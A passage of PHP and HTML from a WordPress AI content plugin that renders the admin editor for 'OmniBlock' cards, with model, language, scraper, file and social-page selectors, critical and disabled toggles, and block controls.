esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'facebook_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $store = get_option('fbomatic_page_ids', false); if($store !== FALSE) { $store = explode(',', $store); $fcount = count($store); for($i = 0; $i < $fcount; $i++) { $exploding = explode('-', $store[$i]); if(!isset($exploding[2])) { continue; } echo '<option value="' . esc_html($exploding[0]) . '"'; if($exploding[0] == $value) { echo " selected"; } echo '>' . esc_html($exploding[2]) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the F-omatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'location_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('local' => 'local'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $locations['amazon'] = 'Amazon S3'; $locations['wasabi'] = 'Wasabi'; $locations['cloudflare'] = 'CloudFlare'; $locations['digital'] = 'Digital Ocean'; } foreach($locations as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $value) { echo " selected"; } echo '>' . ucfirst(esc_html($name)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $values = $card_type['values']; foreach($values as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $value) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'file_type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('txt' => 'txt', 'html' => 'html', 'doc' => 'doc', 'pdf' => 'pdf'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } foreach($locations as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $value) { echo " selected"; } if ($id == 'pdf' && !is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { echo " disabled title='This option requires the Aiomatic Extension - PDF File Storage And Parsing to be active'"; } echo '>' . esc_html($name) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'file_selector') { if(empty($_GLOBALS['omni_files'])) { $_GLOBALS['omni_files'] = get_posts([ 'post_type' => 'aiomatic_omni_file', 'post_status' => 'publish', 'numberposts' => -1 ]); } $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; if(empty($_GLOBALS['omni_files'])) { echo '<option disabled selected>' . esc_html__('No files added, add new files in the \'OmniBlock Files\' tab', 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="random"'; if('random' == $value) { echo " selected"; } echo '>' . esc_html__('Random', 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="latest"'; if('latest' == $value) { echo " selected"; } echo '>' . esc_html__('Latest', 'aiomatic-automatic-ai-content-writer') . '</option>'; } foreach($_GLOBALS['omni_files'] as $id => $name) { echo '<option value="' . esc_html($name->ID) . '"'; if($name->ID == $value) { echo " selected"; } echo '>' . esc_html($name->post_title) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'pinterest_board_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('pinterestomatic_public_boards', false); if($boards !== FALSE) { foreach($boards as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $value) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Pinterestomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'gpb_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('businessomatic_my_business_list', false); if($boards !== FALSE) { foreach($boards as $id => $name) { echo '<option value="' . esc_html($id) . '"'; if($id == $value) { echo " selected"; } echo '>' . esc_html($name) . '</option>'; } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Businessomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'linkedin_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $companies = get_option('linkedinomatic_my_companies', array()); if(is_array($companies) && count($companies) > 0) { foreach($companies as $cmp_id => $cmp_name) { if($cmp_name == 'Profile Page') { echo '<option value="' . esc_attr($cmp_id) . '"'; if($cmp_id == $value) { echo ' selected'; } echo '>' . esc_html($cmp_name) . '</option>'; } else { echo '<option value="xxxLinkedinomaticxxx' . esc_attr($cmp_id) . '"'; if('xxxLinkedinomaticxxx' . $cmp_id == $value) { echo ' selected'; } echo '>' . esc_html($cmp_name) . '</option>'; } } } else { echo '<option disabled value="">' . esc_html__('You need to set up the Linkedinomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'language_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $i = 0; foreach ($language_names as $lang) { echo '<option value="' . esc_html($language_codes[$i]) . '"'; if ($value == $language_codes[$i]) { echo ' selected'; } echo '>' . esc_html($language_names[$i]) . '</option>'; $i++; } if($deepl_auth != '') { $i = 0; foreach ($language_names_deepl as $lang) { echo '<option value="' . esc_html($language_codes_deepl[$i]) . '"'; if ($value == $language_codes_deepl[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_deepl[$i]) . '</option>'; $i++; } } if($bing_auth != '') { $i = 0; foreach ($language_names_bing as $lang) { echo '<option value="' . esc_html($language_codes_bing[$i]) . '"'; if ($value == $language_codes_bing[$i]) { echo ' selected'; } echo '>' . esc_html($language_names_bing[$i]) . '</option>'; $i++; } } echo '</select>'; } elseif($card_type['type'] == 'format_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_formats as $modelx => $namex) { echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($namex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'url') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<input type="url" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' ur' . esc_attr($urlrandval) . ' cr_width_full" id="xai' . $randval . '" value="' . esc_html($value) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; if(count($shortcodes_arr) > 0) { echo '<div class="shortcode-list" data-id-str="xai' . $randval . '">'; } foreach($shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo $myshort; echo '</p>'; } if(count($shortcodes_arr) > 0) { echo '</div>'; } echo '</div>'; } elseif($card_type['type'] == 'scraper_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . '" id="sc' . $assistant_helper . '" class="cr_width_full">'; echo '<option value="0"'; if($value == '0') { echo ' selected'; } echo '>' . esc_html__("WordPress (Default)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="1"'; if($value == '1') { echo ' selected'; } echo '>' . esc_html__("PhantomJS (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="2"'; if($value == '2') { echo ' selected'; } echo '>' . esc_html__("Puppeteer (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="3"'; if($value == '3') { echo ' selected'; } echo '>' . esc_html__("Tor (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="4"'; if($value == '4') { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>' . esc_html__("Puppeteer (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '<option value="5"'; if($value == '5') { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>' . esc_html__("Tor (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '<option value="6"'; if($value == '6') { echo ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } echo '>'; echo esc_html__("PhantomJS (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { echo esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } echo '</option>'; echo '</select>'; } } $critical = false; if(isset($card_id['parameters']['critical']) && $card_id['parameters']['critical'] == '1') { $critical = true; } echo '<h4>' . esc_html__("Critical", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is critical or not. When a Critical OmniBlock fails to generate its content correctly and it fails, it will cause the entire OmniBlock running sequence to stop. Non-critical OmniBlocks when they fail, the execution of blocks will continue, the result of the failed OmniBlock will be blank.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; echo ' <input type="checkbox" class="critical-blocks" data-clone-index="xc' . uniqid() . '" id="critical-' . esc_attr($card_id['identifier']) . '"'; if($critical == true) { echo ' checked'; } echo '>'; echo '</h4>'; $disabled = false; if(isset($card_id['parameters']['disabled']) && $card_id['parameters']['disabled'] == '1') { $disabled = true; } echo '<h4>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is disabled or not. The disabled OmniBlocks will be skipped from processing.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; echo ' <input type="checkbox" class="disabled-blocks" data-clone-index="xc' . uniqid() . '" id="disabled-' . esc_attr($card_id['identifier']) . '"'; if($disabled == true) { echo ' checked'; } echo '>'; echo '</h4>'; foreach($card_type_found['shortcodes'] as $shtc) { $shortcodes_arr[] = '%%' . $shtc . $card_id['identifier'] . '%%'; } echo '</div> <button class="move-up-btn_new" title="Move Up"> <!-- SVG for move up --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-up" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 4.646a.5.5 0 0 1 .708 0L12 8.292a.5.5 0 0 1-.708.708L8 5.707V12.5a.5.5 0 0 1-1 0V5.707L4.707 9a.5.5 0 1 1-.708-.708l3.647-3.646z"/> </svg> </button> <button class="move-down-btn_new" title="Move Down"> <!-- SVG for move down --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-down" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 11.354a.5.5 0 0 1-.708 0L3.293 7.707a.5.5 0 1 1 .708-.708L7 10.293V3.5a.5.5 0 0 1 1 0v6.793l2.999-3.294a.5.5 0 0 1 .708.708l-4 4.147z"/> </svg> </button> <button class="delete-btn" title="' . esc_html__('Delete', 'aiomatic-automatic-ai-content-writer') . '">X</button><div class="ai_common_holder"><div class="step-number">' . esc_html__("Step", 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($exec) . '</div><div class="aiomatic-run-now"></div><div class="id-shower">' . esc_html__("ID:", 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($card_id['identifier']) . '</div></div></div></li>'; $exec++; } } else { aiomatic_log_to_file('Incorrect block format provided: ' . print_r($card_id, true)); } } } ?> </ul> </td> </tr> <tr> <td colspan="2"> <?php echo '<div class="aiseparator aistop"><b>' . esc_html__("OmniBlock Queue Stops Here", 'aiomatic-automatic-ai-content-writer') . '</b></div><h2>' . esc_html__('Add A New OmniBlock To The Above Queue (Drag And Drop):', 'aiomatic-automatic-ai-content-writer') . '</h2>'; ?> <ul id="aiomatic_new_card_types_new" name="aiomatic_new_card_types_new"> <?php if(empty($default_block_types)) { echo esc_html__('No AI OmniBlock Types Defined!', 'aiomatic-automatic-ai-content-writer'); } else { $first = true; $ublockid = $global_index; foreach ($default_block_types as $card_id) { if(!empty($card_id['type'])) { aiomatic_increment($ublockid); $assistant_helper = uniqid(); echo '<li data-id-str="" class="omniblock-card new-card'; if($first != true) { echo ' cr_none'; } $local_shortcodes = array(); foreach($card_id['shortcodes'] as $shtc) { $local_shortcodes[] = '%%' . $shtc . $ublockid . '%%'; } $plugin_required = array(); if(!empty($card_id['required_plugin'])) { foreach($card_id['required_plugin'] as $pslug => $pname) { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active($pslug)) { $plugin_required[] = 'You need enable the "' . $pname[0] . '" plugin for this OmniBlock type to work: ' . $pname[1]; } } } echo '" id="' . sanitize_title($card_id['name']) . '_new"><input data-clone-index="xc' . uniqid() . '" class="cr_center aiomatic-bold aiomatic-indigo omniblock-title" card-type="' . esc_html($card_id['id']) . '" type="text" placeholder="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" title="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" value="' . esc_attr($card_id['name']) . '"> <input type="hidden" class="omniblock-id" card-type="' . esc_html($card_id['id']) . '" value="' . esc_attr($ublockid) . '"> <input type="hidden" class="omniblock-shortcodes" card-type="' . esc_html($card_id['id']) . '" value="' . esc_attr(implode(',', $local_shortcodes)) . '">'; if($card_id['id'] == 'text_spinner') { if (!isset($aiomatic_Main_Settings['spin_text']) || $aiomatic_Main_Settings['spin_text'] === 'disabled') { $plugin_required[] = 'Spinning disabled from \'Settings\' -> \'Bulk Posts\' tab -> \'Spin Text Using Word Synonyms\' settings field, this OmniBlock will not function'; } if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'bulk') { $plugin_required[] = 'Spinning disabled for OmniBlocks, from plugin\'s \'Settings\' menu -> \'Bulk Posts\' tab -> \'Enable Spinner For\' settings field, this OmniBlock will not function'; } } elseif($card_id['id'] == 'embeddings') { if ((!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') && (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '')) { $plugin_required[] = 'You must add an OpenAI/AiomaticAPI API Key into the plugin\'s \'Settings\' menu before you can use this feature!'; } if ((!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') && (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '')) { $plugin_required[] = 'You must add a Pinecone API or a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } } if(!empty($plugin_required)) { echo '<p class="requirement cr_red"><ul class="requirement cr_red">'; foreach($plugin_required as $pr) { echo '<li>' . $pr . '</li>'; } echo '</ul></p>'; } echo '<div class="card-name'; if($card_id['type'] == 'save') { echo ' aisave-content'; } else { echo ' aicreate-content'; } if (isset($aiomatic_Main_Settings['omni_webhook']) && trim($aiomatic_Main_Settings['omni_webhook']) == 'on') { $card_id['description'] = str_replace('%%webhook_url%%', esc_html__('add this OmniBlock and save settings to get the URL' , 'aiomatic-automatic-ai-content-writer'), $card_id['description']); } else { $card_id['description'] = str_replace('%%webhook_url%%', '<span class="cr_red">' . esc_html__('OmniBlock Webhook functionality not enabled in \'Settings\' menu of the plugin!' , 'aiomatic-automatic-ai-content-writer') . '</span>', $card_id['description']); } echo '">' . esc_html__('OmniBlock Type:', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_attr($card_id['name']) . '</div><p class="card-desc">' . $card_id['description'] . '</p><div class="ai-collapsible-holder"><button class="aicollapsible" title="' . esc_html__('Show/Hide Parameters', 'aiomatic-automatic-ai-content-writer') . '"><img class="controls-icon" src="' . plugin_dir_url( __FILE__ ) . '../images/controls.png' . '"></button></div><div class="aicollapsible-parameters">'; echo '<h3>' . esc_html__('OmniBlock Parameters', 'aiomatic-automatic-ai-content-writer') . ' <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__('Set the parameters which will be used in this OmniBlock.', 'aiomatic-automatic-ai-content-writer') . '</div></div></h3><hr/>'; $first = false; foreach($card_id['parameters'] as $name => $card_type) { echo '<h4>' . esc_html($card_type['title']) . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html($card_type['description']) . '</div></div></h4>'; if($card_type['type'] == 'text') { $randval = uniqid(); echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<input type="text" class="' . esc_attr($name) . ' cr_width_full" data-clone-index="xc' . uniqid() . '" id="xai' . $randval . '" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; echo '<div class="shortcode-list" data-id-str="xai' . $randval . '"><p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%keyword%%</p></div>'; echo '</div>'; } elseif($card_type['type'] == 'textarea') { $randval = uniqid(); $additional = ''; if($name == 'prompt' && $card_id['id'] == 'ai_text_foreach') { $additional .= '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%current_input_line_counter%%</p>'; $additional .= '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%current_input_line%%</p>'; $additional .= '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%all_input_lines%%</p>'; } echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<textarea class="' . esc_attr($name) . ' cr_width_full" data-clone-index="xc' . uniqid() . '" id="xai' . $randval . '" placeholder="' . esc_html($card_type['placeholder']) . '">' . esc_textarea($card_type['default_value']) . '</textarea>'; echo '<div class="shortcode-list" data-id-str="xai' . $randval . '"><p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Main keyword shortcode', 'aiomatic-automatic-ai-content-writer') . '">%%keyword%%</p>' . $additional . '</div>'; echo '</div>'; } elseif($card_type['type'] == 'model_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="xa' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'model_select_function') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="xa' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models_function as $modelx) { echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'assistant_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="sel_xa' . $assistant_helper . '" onchange="assistantChanged(\'xa' . $assistant_helper . '\');" class="' . esc_attr($name) . ' cr_width_full">'; if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if('' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($myassistant->ID == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } echo '</select>'; } elseif($card_type['type'] == 'dalle_image_size_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_image_size_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'midjourney_image_size_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_midjourney_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_video_size_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_video_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($sizeid == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'scraper_type') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="scraper_selector ' . esc_attr($name) . ' cr_width_full" data-id-str="" data-source-field-id="ur' . $urlrandval . '" data-target-field-id="' . $assistant_helper . '">'; foreach($all_scraper_types as $index => $modelx) { echo '<option value="' . esc_attr($index) .'"'; if($index == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'scraper_string') { echo '<input type="text" class="' . esc_attr($name) . ' cr_width_full" data-clone-index="xc' . uniqid() . '" id="st' . $assistant_helper . '" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'number') { echo '<input type="number" class="' . esc_attr($name) . ' cr_width_full" data-clone-index="xc' . uniqid() . '" value="' . esc_attr($card_type['default_value']) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'checkbox') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; echo '<option value="0"'; if('0' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("No", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="1"'; if('1' == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Yes", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '</select>'; } elseif($card_type['type'] == 'dalle_image_model_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_models as $modelx) { echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_image_model_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_models as $modelx) { echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'status_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; echo '<option value="publish"'; if("publish" == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="pending"'; if("pending" == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if("draft" == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if("private" == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if("trash" == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '</select>'; } elseif($card_type['type'] == 'type_selector') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(get_post_types( '', 'names' ) as $modelx) { if(strstr($modelx, 'aiomatic_')) { continue; } echo '<option value="' . $modelx .'"'; if($modelx == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'amazon_country_select') { echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_codes() as $key => $modelx) { echo '<option value="' . $key .'"'; if($key == $card_type['default_value']) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'amazon_sort_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_sorts() as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($value == $key) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'yt_community_selector') { $community_types = array('text' => 'Text', 'image' => 'Image'); echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { echo '<option value="' . esc_attr($key) .'"'; if($card_type['default_value'] == $key) { echo ' selected'; } echo '>' . 